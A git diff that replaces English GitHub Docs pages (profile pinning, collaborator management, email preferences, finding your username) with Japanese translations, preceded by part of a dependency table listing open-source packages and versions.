+| [matplotlib/matplotlib](https://github.com/matplotlib/matplotlib)             | 3.3.4     | [v3.3.4](https://github.com/matplotlib/matplotlib/releases/tag/v3.3.4)                                     |
+| [numpy/numpy](https://github.com/numpy/numpy)                                 | 1.20.1    | [v1.20.1](https://github.com/numpy/numpy/releases/tag/v1.20.1)                                             |
+| [opencv/opencv-python](https://github.com/opencv/opencv-python)               | 4.5.1.48  | [48](https://github.com/opencv/opencv-python/releases/tag/48)                                              |
+| [python-pillow/Pillow](https://github.com/python-pillow/Pillow)               | 8.1.0     | [8.1.0](https://github.com/python-pillow/Pillow/releases/tag/8.1.0)                                        |
+| [pycurl/pycurl](https://github.com/pycurl/pycurl)                             | 7.43.0.6  | [REL_7_43_0_6](https://github.com/pycurl/pycurl/releases/tag/REL_7_43_0_6)                             |
+| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing)                 | 2.4.7     | [pyparsing_2.4.7](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.7)                     |
+| [pyserial/pyserial](https://github.com/pyserial/pyserial)                     | 3.5       | [v3.5](https://github.com/pyserial/pyserial/releases/tag/v3.5)                                             |
+| [dateutil/dateutil](https://github.com/dateutil/dateutil)                     | 2.8.1     | [2.8.1](https://github.com/dateutil/dateutil/releases/tag/2.8.1)                                           |
+| [yaml/pyyaml ](https://github.com/yaml/pyyaml)                                | 5.4.1     | [5.4.1](https://github.com/yaml/pyyaml/releases/tag/5.4.1)                                                 |
+| [psf/requests](https://github.com/psf/requests)                               | 2.25.1    | [v2.25.1](https://github.com/psf/requests/releases/tag/v2.25.1)                                            |
+| [boto/s3transfer](https://github.com/boto/s3transfer)                         | 0.3.4     | [0.3.4](https://github.com/boto/s3transfer/releases/tag/0.3.4)                                             |
+| [enthought/scimath](https://github.com/enthought/scimath)                     | 4.2.0     | [4.2.0](https://github.com/enthought/scimath/releases/tag/4.2.0)                                           |
+| [scipy/scipy](https://github.com/scipy/scipy)                                 | 1.6.1     | [v1.6.1](https://github.com/scipy/scipy/releases/tag/v1.6.1)                                               |
+| [benjaminp/six](https://github.com/benjaminp/six)                             | 1.15.0    | [1.15.0](https://github.com/benjaminp/six/releases/tag/1.15.0)                                             |
+| [enthought/traits](https://github.com/enthought/traits)                       | 6.2.0     | [6.2.0](https://github.com/enthought/traits/releases/tag/6.2.0)                                            |
+| [urllib3/urllib3](https://github.com/urllib3/urllib3)                         | 1.26.3    | [1.26.3](https://github.com/urllib3/urllib3/releases/tag/1.26.3)                                           |
+| [python-attrs/attrs](https://github.com/python-attrs/attrs)                   | 19.3.0    | [19.3.0](https://github.com/python-attrs/attrs/releases/tag/19.3.0)                                        |
+| [CheetahTemplate3/cheetah3](https://github.com/CheetahTemplate3/cheetah3/)    | 3.2.4     | [3.2.4](https://github.com/CheetahTemplate3/cheetah3/releases/tag/3.2.4)                                   |
+| [pallets/click](https://github.com/pallets/click)                             | 7.0       | [7.0](https://github.com/pallets/click/releases/tag/7.0)                                                   |
+| [pallets/flask](https://github.com/pallets/flask)                             | 1.1.1     | [1.1.1](https://github.com/pallets/flask/releases/tag/1.1.1)                                               |
+| [flask-restful/flask-restful](https://github.com/flask-restful/flask-restful) | 0.3.7     | [0.3.7](https://github.com/flask-restful/flask-restful/releases/tag/0.3.7)                                 |
+| [pytest-dev/iniconfig](https://github.com/pytest-dev/iniconfig)               | 1.0.0     | [v1.0.0](https://github.com/pytest-dev/iniconfig/releases/tag/v1.0.0)                                      |
+| [pallets/itsdangerous](https://github.com/pallets/itsdangerous)               | 1.1.0     | [1.1.0](https://github.com/pallets/itsdangerous/releases/tag/1.1.0)                                        |
+| [pallets/jinja](https://github.com/pallets/jinja)                             | 2.10.3    | [2.10.3](https://github.com/pallets/jinja/releases/tag/2.10.3)                                             |
+| [lxml/lxml](https://github.com/lxml/lxml)                                     | 4.4.1     | [lxml-4.4.1](https://github.com/lxml/lxml/releases/tag/lxml-4.4.1)                                         |
+| [Python-Markdown/markdown](https://github.com/Python-Markdown/markdown)       | 3.1.1     | [3.1.1](https://github.com/Python-Markdown/markdown/releases/tag/3.1.1)                                    |
+| [pallets/markupsafe](https://github.com/pallets/markupsafe)                   | 1.1.1     | [1.1.1](https://github.com/pallets/markupsafe/releases/tag/1.1.1)                                          |
+| [pypa/packaging](https://github.com/pypa/packaging)                           | 19.2      | [19.2](https://github.com/pypa/packaging/releases/tag/19.2)                                                |
+| [pexpect/pexpect](https://github.com/pexpect/pexpect)                         | 4.7.0     | [4.7.0](https://github.com/pexpect/pexpect/releases/tag/4.7.0)                                             |
+| [pytest-dev/pluggy](https://github.com/pytest-dev/pluggy)                     | 0.13.0    | [0.13.0](https://github.com/pytest-dev/pluggy/releases/tag/0.13.0)                                         |
+| [pexpect/ptyprocess](https://github.com/pexpect/ptyprocess)                   | 0.6.0     | [0.6.0](https://github.com/pexpect/ptyprocess/releases/tag/0.6.0)                                          |
+| [pytest-dev/py](https://github.com/pytest-dev/py)                             | 1.8.0     | [1.8.0](https://github.com/pytest-dev/py/releases/tag/1.8.0)                                               |
+| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing)                 | 2.4.5     | [pyparsing_2.4.5](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.5)                     |
+| [pytest-dev/pytest](https://github.com/pytest-dev/pytest)                     | 5.3.0     | [5.3.0](https://github.com/pytest-dev/pytest/releases/tag/5.3.0)                                           |
+| [stub42/pytz](https://github.com/stub42/pytz)                                 | 2019.3    | [release_2019.3](https://github.com/stub42/pytz/releases/tag/release_2019.3)                               |
+| [uiri/toml](https://github.com/uiri/toml)                                     | 0.10.0    | [0.10.0](https://github.com/uiri/toml/releases/tag/0.10.0)                                                 |
+| [pallets/werkzeug](https://github.com/pallets/werkzeug)                       | 0.16.0    | [0.16.0](https://github.com/pallets/werkzeug/releases/tag/0.16.0)                                          |
+| [dmnfarrell/tkintertable](https://github.com/dmnfarrell/tkintertable)         | 1.2       | [v1.2](https://github.com/dmnfarrell/tkintertable/releases/tag/v1.2)                                       |
+| [wxWidgets/wxPython-Classic](https://github.com/wxWidgets/wxPython-Classic)   | 2.9.1.1   | [wxPy-2.9.1.1](https://github.com/wxWidgets/wxPython-Classic/releases/tag/wxPy-2.9.1.1)                    |
+| [nasa/fprime](https://github.com/nasa/fprime)                                 | 1.3       | [NASA-v1.3](https://github.com/nasa/fprime/releases/tag/NASA-v1.3)                                         |
+| [nucleic/cppy](https://github.com/nucleic/cppy)                               | 1.1.0     | [1.1.0](https://github.com/nucleic/cppy/releases/tag/1.1.0)                                                |
+| [opencv/opencv](https://github.com/opencv/opencv)                             | 4.5.1     | [4.5.1](https://github.com/opencv/opencv/releases/tag/4.5.1)                                               |
+| [curl/curl](https://github.com/curl/curl)                                     | 7.72.0    | [curl-7_72_0](https://github.com/curl/curl/releases/tag/curl-7_72_0)                                     |
+| [madler/zlib](https://github.com/madler/zlib)                                 | 1.2.11    | [v1.2.11](https://github.com/madler/zlib/releases/tag/v1.2.11)                                             |
+| [apache/lucene](https://github.com/apache/lucene)                             | 7.7.3     | [releases/lucene-solr/7.7.3](https://github.com/apache/lucene/releases/tag/releases%2Flucene-solr%2F7.7.3) |
+| [yaml/libyaml](https://github.com/yaml/libyaml)                               | 0.2.5     | [0.2.5](https://github.com/yaml/libyaml/releases/tag/0.2.5)                                                |
+| [elastic/elasticsearch](https://github.com/elastic/elasticsearch)             | 6.8.1     | [v6.8.1](https://github.com/elastic/elasticsearch/releases/tag/v6.8.1)                                     |
+| [twbs/bootstrap](https://github.com/twbs/bootstrap)                           | 4.3.1     | [v4.3.1](https://github.com/twbs/bootstrap/releases/tag/v4.3.1)                                            |
+| [vuejs/vue](https://github.com/vuejs/vue)                                     | 2.6.10    | [v2.6.10](https://github.com/vuejs/vue/releases/tag/v2.6.10)                                               |
+| [carrotsearch/hppc](https://github.com/carrotsearch/hppc)                     | 0.7.1     | [0.7.1](https://github.com/carrotsearch/hppc/releases/tag/0.7.1)                                           |
+| [JodaOrg/joda-time](https://github.com/JodaOrg/joda-time)                     | 2.10.1    | [v2.10.1](https://github.com/JodaOrg/joda-time/releases/tag/v2.10.1)                                       |
+| [tdunning/t-digest](https://github.com/tdunning/t-digest)                     | 3.2       | [t-digest-3.2](https://github.com/tdunning/t-digest/releases/tag/t-digest-3.2)                             |
+| [HdrHistogram/HdrHistogram](https://github.com/HdrHistogram/HdrHistogram)     | 2.1.9     | [HdrHistogram-2.1.9](https://github.com/HdrHistogram/HdrHistogram/releases/tag/HdrHistogram-2.1.9)         |
+| [locationtech/spatial4j](https://github.com/locationtech/spatial4j)           | 0.7       | [spatial4j-0.7](https://github.com/locationtech/spatial4j/releases/tag/spatial4j-0.7)                      |
+| [locationtech/jts](https://github.com/locationtech/jts)                       | 1.15.0    | [jts-1.15.0](https://github.com/locationtech/jts/releases/tag/jts-1.15.0)                                  |
+| [apache/logging-log4j2](https://github.com/apache/logging-log4j2)             | 2.11      | [log4j-2.11.0](https://github.com/apache/logging-log4j2/releases/tag/log4j-2.11.0)                         |
 
-## Further reading
+## 参考リンク
 
-- "[About your profile](/articles/about-your-profile)"
+- [プロフィールについて](/articles/about-your-profile)
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md
index 236984b315..ad60929883 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md
@@ -1,6 +1,6 @@
 ---
-title: Pinning items to your profile
-intro: You can pin gists and repositories to your profile so other people can quickly see your best work.
+title: プロフィールにアイテムをピン止めする
+intro: Gist とリポジトリをプロフィールに固定して、他のユーザがあなたの最高の作品をすばやく確認できるようにすることができます。
 redirect_from:
   - /articles/pinning-repositories-to-your-profile
   - /articles/pinning-items-to-your-profile
@@ -14,26 +14,22 @@ topics:
   - Profiles
 shortTitle: Pin items
 ---
-You can pin a public repository if you own the repository or you've made contributions to the repository. Commits to forks don't count as contributions, so you can't pin a fork that you don't own. For more information, see "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"
 
-You can pin any public gist you own.
+あなたが所有するか、コントリビュートしたパブリックリポジトリをピン止めできます。 フォークへのコミットはコントリビューションとして扱われないので、所有していないフォークをピン止めすることはできません。 詳細は「[プロフィール上でコントリビューションが表示されない理由](/articles/why-are-my-contributions-not-showing-up-on-my-profile)」を参照してください。
 
-Pinned items include important information about the item, like the number of stars a repository has received or the first few lines of a gist. Once you pin items to your profile, the "Pinned" section replaces the "Popular repositories" section on your profile.
+所有しているパブリック Gist をピン止めできます。
 
-You can reorder the items in the "Pinned" section. In the upper-right corner of a pin, click {% octicon "grabber" aria-label="The grabber symbol" %}  and drag the pin to a new location.
+ピン止めしたアイテムには、リポジトリが受け取った Star の数や、Gist の最初の数行など、アイテムに関する重要な情報が含まれます。 アイテムをプロフィールにピン止めすると、プロフィールで [Popular repositories] セクションが [Pinned] セクションに変わります。
+
+[Pinned] セクションでは、アイテムを並べ替えることができます。 ピンの右上隅で {% octicon "grabber" aria-label="The grabber symbol" %} をクリックして、ピンを新しい場所にドラッグしてください。
 
 {% data reusables.profile.access_profile %}
-2. In the "Popular repositories" or "Pinned" section, click **Customize your pins**.
-	![Customize your pins button](/assets/images/help/profile/customize-pinned-repositories.png)
-3. To display a searchable list of items to pin, select "Repositories", "Gists", or both.
-	![Checkboxes to select the types of items to display](/assets/images/help/profile/pinned-repo-picker.png)
-4. Optionally, to make it easier to find a specific item, in the filter field, type the name of a user, organization, repository, or gist.
-	![Filter items](/assets/images/help/profile/pinned-repo-search.png)
-5. Select a combination of up to six repositories and/or gists to display.
-	![Select items](/assets/images/help/profile/select-items-to-pin.png)
-6. Click **Save pins**.
-	![Save pins button](/assets/images/help/profile/save-pinned-repositories.png)
+2. [Popular repositories] または [Pinned] セクションで、[**Customize your pins**] をクリックします。 ![[Customize your pins] ボタン](/assets/images/help/profile/customize-pinned-repositories.png)
+3. ピン止めするアイテムを検索できるリストで、[Repositories] か [Gists]、または両方を選択します。![表示するアイテムの種類を選択するチェックボックス](/assets/images/help/profile/pinned-repo-picker.png)
+4. オプションで、特定のアイテムを探しやすいように、フィールドフィールドでユーザ、Organization、リポジトリ、Gist の名前を入力します。![アイテムをフィルタリング](/assets/images/help/profile/pinned-repo-search.png)
+5. 最大 6 つのリポジトリ、Gist を組み合わせて表示できます。 ![アイテムを選択](/assets/images/help/profile/select-items-to-pin.png)
+6. [**Save pins**] をクリックします。 ![[Save pins] ボタン](/assets/images/help/profile/save-pinned-repositories.png)
 
-## Further reading
+## 参考リンク
 
-- "[About your profile](/articles/about-your-profile)"
+- [プロフィールについて](/articles/about-your-profile)
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md
index 26c50a8387..dc674934fd 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to your personal repositories
-intro: You can give people collaborator access to repositories owned by your personal account.
+title: 個人リポジトリに対するアクセスを管理する
+intro: 自分の個人アカウントで所有しているリポジトリに対するコラボレーター アクセス権を、ユーザに付与できます。
 redirect_from:
   - /categories/101/articles
   - /categories/managing-repository-collaborators
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md
index caa381f9fe..2a3bba883f 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Inviting collaborators to a personal repository
-intro: 'You can {% ifversion fpt or ghec %}invite users to become{% else %}add users as{% endif %} collaborators to your personal repository.'
+title: コラボレーターを個人リポジトリに招待する
+intro: '個人リポジトリにコラボレーターとして{% ifversion fpt or ghec %}ユーザを招待{% else %}ユーザを追加{% endif %}することができます。'
 redirect_from:
   - /articles/how-do-i-add-a-collaborator
   - /articles/adding-collaborators-to-a-personal-repository
@@ -18,7 +18,8 @@ topics:
   - Repositories
 shortTitle: Invite collaborators
 ---
-Repositories owned by an organization can grant more granular access. For more information, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/articles/access-permissions-on-github)."
+
+Organization が所有するリポジトリは、細やかなアクセスを許可できます。 詳細は「[{% data variables.product.prodname_dotcom %} 上のアクセス権限](/articles/access-permissions-on-github)」を参照してください。
 
 {% data reusables.organizations.org-invite-expiration %}
 
@@ -28,39 +29,33 @@ If you're a member of an {% data variables.product.prodname_emu_enterprise %}, y
 
 {% note %}
 
-**Note:** {% data variables.product.company_short %} limits the number of people who can be invited to a repository within a 24-hour period. If you exceed this limit, either wait 24 hours or create an organization to collaborate with more people.
+**メモ:** {% data variables.product.company_short %} では、24 時間以内にリポジトリに招待できる人数に上限があります。 この上限を超える場合は、24 時間待つか、コラボレーションする人数の多い Organization を作成してください。
 
 {% endnote %}
 
 {% endif %}
 
-1. Ask for the username of the person you're inviting as a collaborator.{% ifversion fpt or ghec %} If they don't have a username yet, they can sign up for {% data variables.product.prodname_dotcom %} For more information, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account)".{% endif %}
+1. コラボレーターとして招待する人のユーザ名を確認してください。{% ifversion fpt or ghec %}まだユーザ名がない場合は、{% data variables.product.prodname_dotcom %}にサインアップできます。詳細は「[新しい {% data variables.product.prodname_dotcom %}アカウントへのサインアップ](/articles/signing-up-for-a-new-github-account)」を参照してください。{% endif %}
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% ifversion fpt or ghec %}
 {% data reusables.repositories.navigate-to-manage-access %}
-1. Click **Invite a collaborator**.
-  !["Invite a collaborator" button](/assets/images/help/repository/invite-a-collaborator-button.png)
-2. In the search field, start typing the name of person you want to invite, then click a name in the list of matches.
-  ![Search field for typing the name of a person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field-user.png)
-3. Click **Add NAME to REPOSITORY**.
-    ![Button to add collaborator](/assets/images/help/repository/add-collaborator-user-repo.png)
+1. [**Invite a collaborator**] をクリックします。 ![[Invite a collaborator] ボタン](/assets/images/help/repository/invite-a-collaborator-button.png)
+2. 検索フィールドで、招待する人の名前を入力し、一致するリストの名前をクリックします。 ![リポジトリに招待する人の名前を入力するための検索フィールド](/assets/images/help/repository/manage-access-invite-search-field-user.png)
+3. [**Add NAME to REPOSITORY**] をクリックします。 ![コラボレーターを追加するボタン](/assets/images/help/repository/add-collaborator-user-repo.png)
 {% else %}
-5. In the left sidebar, click **Collaborators**.
-![Repository settings sidebar with Collaborators highlighted](/assets/images/help/repository/user-account-repo-settings-collaborators.png)
-6. Under "Collaborators", start typing the collaborator's username.
-7. Select the collaborator's username from the drop-down menu.
-   ![Collaborator list drop-down menu](/assets/images/help/repository/repo-settings-collab-autofill.png)
-8. Click **Add collaborator**.
-   !["Add collaborator" button](/assets/images/help/repository/repo-settings-collab-add.png)
+5. 左サイドバーで [**Collaborators**] をクリックします。 ![リポジトリの [Settings] サイドバーで [Collaborators] を選択](/assets/images/help/repository/user-account-repo-settings-collaborators.png)
+6. [Collaborators] で、コラボレーターのユーザ名の入力を始めます。
+7. ドロップダウンメニューからコラボレーターのユーザ名を選択します。 ![コラボレーター リストのドロップダウン メニュー](/assets/images/help/repository/repo-settings-collab-autofill.png)
+8. [**Add collaborator**] をクリックします。 !["Add collaborator" button](/assets/images/help/repository/repo-settings-collab-add.png)
 {% endif %}
 {% ifversion fpt or ghec %}
-9. The user will receive an email inviting them to the repository. Once they accept your invitation, they will have collaborator access to your repository.
+9. リポジトリへの招待メールがユーザに届きます。 ユーザが招待を受諾すると、そのユーザはコラボレーターとしてリポジトリにアクセスできるようになります。
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/#collaborator-access-for-a-repository-owned-by-a-user-account)"
-- "[Removing a collaborator from a personal repository](/articles/removing-a-collaborator-from-a-personal-repository)"
-- "[Removing yourself from a collaborator's repository](/articles/removing-yourself-from-a-collaborator-s-repository)"
-- "[Organizing members into teams](/organizations/organizing-members-into-teams)"
+- "[ユーザ アカウントリポジトリの権限レベル](/articles/permission-levels-for-a-user-account-repository/#collaborator-access-for-a-repository-owned-by-a-user-account)"
+- [個人リポジトリからコラボレーターを削除する](/articles/removing-a-collaborator-from-a-personal-repository)
+- [コラボレーターのリポジトリから自分を削除する](/articles/removing-yourself-from-a-collaborator-s-repository)
+- [メンバーを Team に編成する](/organizations/organizing-members-into-teams)
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md
index 627316136c..0a9b07c89a 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Removing a collaborator from a personal repository
-intro: 'When you remove a collaborator from your project, they lose read/write access to your repository. If the repository is private and the person has created a fork, then that fork is also deleted.'
+title: 個人リポジトリからコラボレーターを削除する
+intro: コラボレータをプロジェクトから削除すると、そのコラボレータはリポジトリに対する読み取り/書き込みアクセスを失います。 リポジトリがプライベートであり、その個人がフォークを作成している場合、そのフォークも削除されます。
 redirect_from:
   - /articles/how-do-i-remove-a-collaborator
   - /articles/what-happens-when-i-remove-a-collaborator-from-my-private-repository
@@ -21,26 +21,24 @@ topics:
   - Repositories
 shortTitle: Remove a collaborator
 ---
-## Deleting forks of private repositories
 
-While forks of private repositories are deleted when a collaborator is removed, the person will still retain any local clones of your repository.
+## プライベートリポジトリのフォークを削除する
 
-## Removing collaborator permissions from a person contributing to a repository
+コラボレーターが削除される一方でプライベートリポジトリのフォークが削除されると、その個人はリポジトリのローカルクローンをそのまま保持します。
+
+## リポジトリへのコントリビューションがある個人からコラボレーター権限を削除する
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% ifversion fpt or ghec %}
 {% data reusables.repositories.navigate-to-manage-access %}
-4. To the right of the collaborator you want to remove, click {% octicon "trash" aria-label="The trash icon" %}.
-  ![Button to remove collaborator](/assets/images/help/repository/collaborator-remove.png)
+4. 削除するコラボレーターの右で、{% octicon "trash" aria-label="The trash icon" %} をクリックします。 ![コラボレーターを削除するボタン](/assets/images/help/repository/collaborator-remove.png)
 {% else %}
-3. In the left sidebar, click **Collaborators & teams**.
-  ![Collaborators tab](/assets/images/help/repository/repo-settings-collaborators.png)
-4. Next to the collaborator you want to remove, click the **X** icon.
-  ![Remove link](/assets/images/help/organizations/Collaborator-Remove.png)
+3. 左のサイドバーで、[**Collaborators & teams**] をクリックします。 ![[Collaborators] タブ](/assets/images/help/repository/repo-settings-collaborators.png)
+4. 削除するコラボレーターの横にある [**X**] アイコンをクリックします。 ![削除リンク](/assets/images/help/organizations/Collaborator-Remove.png)
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[Removing organization members from a team](/articles/removing-organization-members-from-a-team)"
-- "[Removing an outside collaborator from an organization repository](/articles/removing-an-outside-collaborator-from-an-organization-repository)"
+- 「[チームから Organization メンバーを削除する](/articles/removing-organization-members-from-a-team)」
+- [外部のコラボレータを Organization のリポジトリから削除する](/articles/removing-an-outside-collaborator-from-an-organization-repository)
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md
index 0546453704..ab925962e6 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Removing yourself from a collaborator's repository
-intro: 'If you no longer want to be a collaborator on someone else''s repository, you can remove yourself.'
+title: コラボレーターのリポジトリから自分を削除する
+intro: 他の人の個人リポジトリのコラボレーターを続けたくなくなった場合は、自分を削除できます。
 redirect_from:
   - /leave-a-collaborative-repo
   - /leave-a-repo
@@ -20,10 +20,8 @@ topics:
   - Repositories
 shortTitle: Remove yourself
 ---
+
 {% data reusables.user_settings.access_settings %}
-2. In the left sidebar, click **Repositories**.
-  ![Repositories tab](/assets/images/help/settings/settings-sidebar-repositories.png)
-3. Next to the repository you want to leave, click **Leave**.
-  ![Leave button](/assets/images/help/repository/repo-leave.png)
-4. Read the warning carefully, then click "I understand, leave this repository."
-  ![Dialog box warning you to leave](/assets/images/help/repository/repo-leave-confirmation.png)
+2. 左のサイドバーで [**Repositories**] をクリックします。 ![[Repositories] タブ](/assets/images/help/settings/settings-sidebar-repositories.png)
+3. 離脱するリポジトリの横にある [**Leave**] をクリックします。 ![[Leave] ボタン](/assets/images/help/repository/repo-leave.png)
+4. 警告をよく読んでから [I understand, leave this repository.] をクリックします。 ![本当に離脱してよいか確認を促すダイアログボックス](/assets/images/help/repository/repo-leave-confirmation.png)
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md
index 6f5986b82c..8f6e50b222 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing email preferences
-intro: 'You can add or change the email addresses associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. You can also manage emails you receive from {% data variables.product.product_name %}.'
+title: メール プリファレンスの管理
+intro: 'You can add or change the email addresses associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. {% data variables.product.product_name %} から受信するメールを管理することもできます。'
 redirect_from:
   - /categories/managing-email-preferences
   - /articles/managing-email-preferences
diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md
index e3a1cec0b9..3feb17e1d4 100644
--- a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md
+++ b/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md
@@ -1,6 +1,6 @@
 ---
-title: Remembering your GitHub username or email
-intro: 'Are you signing in to {% data variables.product.product_location %} for the first time in a while? If so, welcome back! If you can''t remember your {% data variables.product.product_name %} user account name, you can try these methods for remembering it.'
+title: 自分の GitHub ユーザ名またはメールアドレスを忘れた場合は
+intro: '{% data variables.product.product_location %} へのサインインは久しぶりでしょうか? そうであれば、改めてようこそ。 自分の {% data variables.product.product_name %}ユーザアカウント名を思い出せない場合は、次の方法を試してみてください。'
 redirect_from:
   - /articles/oh-noes-i-ve-forgotten-my-username-email
   - /articles/oh-noes-i-ve-forgotten-my-username-or-email
@@ -16,60 +16,61 @@ topics:
   - Notifications
 shortTitle: Find your username or email
 ---
+
 {% mac %}
 
-## {% data variables.product.prodname_desktop %} users
+## {% data variables.product.prodname_desktop %}ユーザ
 
-1. In the **GitHub Desktop** menu, click **Preferences**.
-2. In the Preferences window, verify the following:
-    - To view your {% data variables.product.product_name %} username, click **Accounts**.
-    - To view your Git email, click **Git**. Note that this email is not guaranteed to be [your primary {% data variables.product.product_name %} email](/articles/changing-your-primary-email-address).
+1. [**GitHub Desktop**] メニューで、[**Preferences**] をクリックします。
+2. [Preferences] ウィンドウで、次のことについて検証します:
+    - {% data variables.product.product_name %}ユーザ名を表示するには [**Accounts**] をクリックします。
+    - Git メールを表示するには [**Git**] をクリックします。 このメールは [{% data variables.product.product_name %} のプライマリメール](/articles/changing-your-primary-email-address)となることが保証されているわけではありませんので、注意してください。
 
 {% endmac %}
 
 {% windows %}
 
-## {% data variables.product.prodname_desktop %} users
+## {% data variables.product.prodname_desktop %}ユーザ
+
+1. [**File**] メニューで、[**Options**] をクリックします。
+2. [Options] ウィンドウで、次のことについて検証します:
+    - {% data variables.product.product_name %}ユーザ名を表示するには [**Accounts**] をクリックします。
+    - Git メールを表示するには [**Git**] をクリックします。 このメールは [{% data variables.product.product_name %} のプライマリメール](/articles/changing-your-primary-email-address)となることが保証されているわけではありませんので、注意してください。
 
-1. In the **File** menu, click **Options**.
-2. In the Options window, verify the following:
-    - To view your {% data variables.product.product_name %} username, click **Accounts**.
-    - To view your Git email, click **Git**. Note that this email is not guaranteed to be [your primary {% data variables.product.product_name %} email](/articles/changing-your-primary-email-address).
-  
 {% endwindows %}
 
-## Finding your username in your `user.name` configuration
+## `user.name` 設定からユーザ名を見つける
 
-During set up, you may have [set your username in Git](/github/getting-started-with-github/setting-your-username-in-git). If so, you can review the value of this configuration setting:
+セットアップ時に、[Git でユーザ名を設定](/github/getting-started-with-github/setting-your-username-in-git)してあることがあります。 その場合は、次の設定で値をレビューします:
 
 ```shell
 $ git config user.name
-# View the setting
-<em>YOUR_USERNAME</em>
+# 設定を見る
+<em>あなたのユーザ名</em>
 ```
 
-## Finding your username in the URL of remote repositories
+## リモートリポジトリの URL からユーザ名を見つける
 
-If you have any local copies of personal repositories you have created or forked, you can check the URL of the remote repository.
+作成またはフォークしたパーソナルリポジトリのローカルコピーがある場合は、リモートリポジトリの URL をチェックします。
 
 {% tip %}
 
-**Tip**: This method only works if you have an original repository or your own fork of someone else's repository. If you clone someone else's repository, their username will show instead of yours. Similarly, organization repositories will show the name of the organization instead of a particular user in the remote URL.
+**参考**: この方法が使えるのは、元のリポジトリか他の個人のリポジトリの独自のフォークがある場合のみです。 他の個人のリポジトリのクローンを作成した場合、ご自分のではなく、その個人のユーザ名が表示されます。 同様に、Organization リポジトリでは、リモート URL の特定のユーザのではなく Organization の名前が表示されます。
 
 {% endtip %}
 
 ```shell
-$ cd <em>YOUR_REPOSITORY</em>
